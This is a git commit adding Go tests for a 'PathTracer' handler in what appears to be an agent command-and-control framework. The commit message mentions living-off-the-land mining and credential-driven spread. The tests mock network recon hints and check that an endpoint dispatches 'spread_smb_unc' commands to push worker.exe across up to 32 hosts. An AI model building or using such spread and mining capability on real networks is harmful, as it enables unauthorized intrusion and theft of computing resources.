Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
@@ -157,6 +157,16 @@ func startPathTracerAgentResponder(t *testing.T, hub *WSHub, agentID, pubKey str
|
||||
_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
|
||||
"action": "wg_configure", "success": true,
|
||||
})})
|
||||
case "network_recon":
|
||||
hints, _ := json.Marshal(map[string]interface{}{
|
||||
"spread_targets": []string{"192.168.1.50"},
|
||||
"spread_target_count": 1,
|
||||
"domain_joined": true,
|
||||
"prefer_join_lane": "gpo",
|
||||
})
|
||||
_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
|
||||
"action": "network_recon", "success": true, "message": string(hints),
|
||||
})})
|
||||
case "wg_teardown":
|
||||
return
|
||||
}
|
||||
@@ -439,3 +449,147 @@ func TestPathTracerStartValidation(t *testing.T) {
|
||||
t.Fatalf("offline agent: expected 400, got %d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerSpreadValidation(t *testing.T) {
|
||||
h := NewPathTracerHandler(NewWSHub(nil))
|
||||
|
||||
req := httptest.NewRequest(http.MethodPost, "/pathtrace/spread", bytes.NewReader([]byte(`{}`)))
|
||||
rec := httptest.NewRecorder()
|
||||
h.Spread(rec, req)
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("empty body: expected 400, got %d", rec.Code)
|
||||
}
|
||||
|
||||
badUNC := `{"session_id":"sess-1","unc_path":"C:\\local\\worker.exe"}`
|
||||
req = httptest.NewRequest(http.MethodPost, "/pathtrace/spread", strings.NewReader(badUNC))
|
||||
rec = httptest.NewRecorder()
|
||||
h.Spread(rec, req)
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("non-UNC path: expected 400, got %d", rec.Code)
|
||||
}
|
||||
|
||||
h.mu.Lock()
|
||||
h.sessions["sess-missing"] = testTraceSession(1)
|
||||
h.mu.Unlock()
|
||||
body := `{"session_id":"sess-missing","unc_path":"\\\\forge\\pathforge$\\worker.exe"}`
|
||||
req = httptest.NewRequest(http.MethodPost, "/pathtrace/spread", strings.NewReader(body))
|
||||
rec = httptest.NewRecorder()
|
||||
h.Spread(rec, req)
|
||||
if rec.Code != http.StatusBadGateway && rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("offline egress: expected 400/502, got %d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerSpreadDispatches(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
agentID := "spread-egress-agent"
|
||||
hub := NewWSHub(database)
|
||||
handler := NewPathTracerHandler(hub)
|
||||
conn := connectTestAgent(t, hub, agentID)
|
||||
|
||||
sess := testTraceSession(1)
|
||||
sess.Hops[0].AgentID = agentID
|
||||
handler.mu.Lock()
|
||||
handler.sessions[sess.ID] = sess
|
||||
handler.mu.Unlock()
|
||||
|
||||
cmdCh := make(chan map[string]interface{}, 1)
|
||||
go func() {
|
||||
for {
|
||||
var msg Message
|
||||
if err := conn.ReadJSON(&msg); err != nil {
|
||||
return
|
||||
}
|
||||
if msg.Type != "command" {
|
||||
continue
|
||||
}
|
||||
var payload map[string]interface{}
|
||||
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
|
||||
continue
|
||||
}
|
||||
if payload["action"] == "spread_smb_unc" {
|
||||
cmdCh <- payload
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
body := fmt.Sprintf(`{"session_id":%q,"unc_path":"\\\\forge\\pathforge$\\worker.exe","max_hosts":32}`, sess.ID)
|
||||
req := httptest.NewRequest(http.MethodPost, "/pathtrace/spread", strings.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
handler.Spread(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("spread status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
select {
|
||||
case payload := <-cmdCh:
|
||||
if payload["path"] != `\\forge\pathforge$\worker.exe` {
|
||||
t.Fatalf("unexpected path: %v", payload["path"])
|
||||
}
|
||||
if payload["command"] != "32" {
|
||||
t.Fatalf("unexpected max_hosts command: %v", payload["command"])
|
||||
}
|
||||
case <-time.After(3 * time.Second):
|
||||
t.Fatal("timed out waiting for spread_smb_unc command")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerNetworkHintsFromEgress(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
hub := NewWSHub(database)
|
||||
handler := NewPathTracerHandler(hub)
|
||||
agentID := "trace-network-hints"
|
||||
startPathTracerAgentResponder(t, hub, agentID, "NET_HINTS_PUB")
|
||||
|
||||
body := `{"agent_ids":["` + agentID + `"]}`
|
||||
req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
handler.Start(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("start status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var startResp struct {
|
||||
SessionID string `json:"session_id"`
|
||||
}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &startResp); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
deadline := time.Now().Add(5 * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
req2 := httptest.NewRequest(http.MethodGet, "/pathtrace/"+startResp.SessionID+"/status", nil)
|
||||
rctx := chi.NewRouteContext()
|
||||
rctx.URLParams.Add("id", startResp.SessionID)
|
||||
req2 = req2.WithContext(context.WithValue(req2.Context(), chi.RouteCtxKey, rctx))
|
||||
rec2 := httptest.NewRecorder()
|
||||
handler.Status(rec2, req2)
|
||||
if rec2.Code != http.StatusOK {
|
||||
t.Fatalf("status=%d body=%s", rec2.Code, rec2.Body.String())
|
||||
}
|
||||
var status struct {
|
||||
NetworkHints map[string]interface{} `json:"network_hints"`
|
||||
}
|
||||
if err := json.Unmarshal(rec2.Body.Bytes(), &status); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if status.NetworkHints != nil {
|
||||
if status.NetworkHints["prefer_join_lane"] != "gpo" {
|
||||
t.Fatalf("unexpected hints: %+v", status.NetworkHints)
|
||||
}
|
||||
return
|
||||
}
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
}
|
||||
t.Fatal("timed out waiting for network_hints on pathtrace session")
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user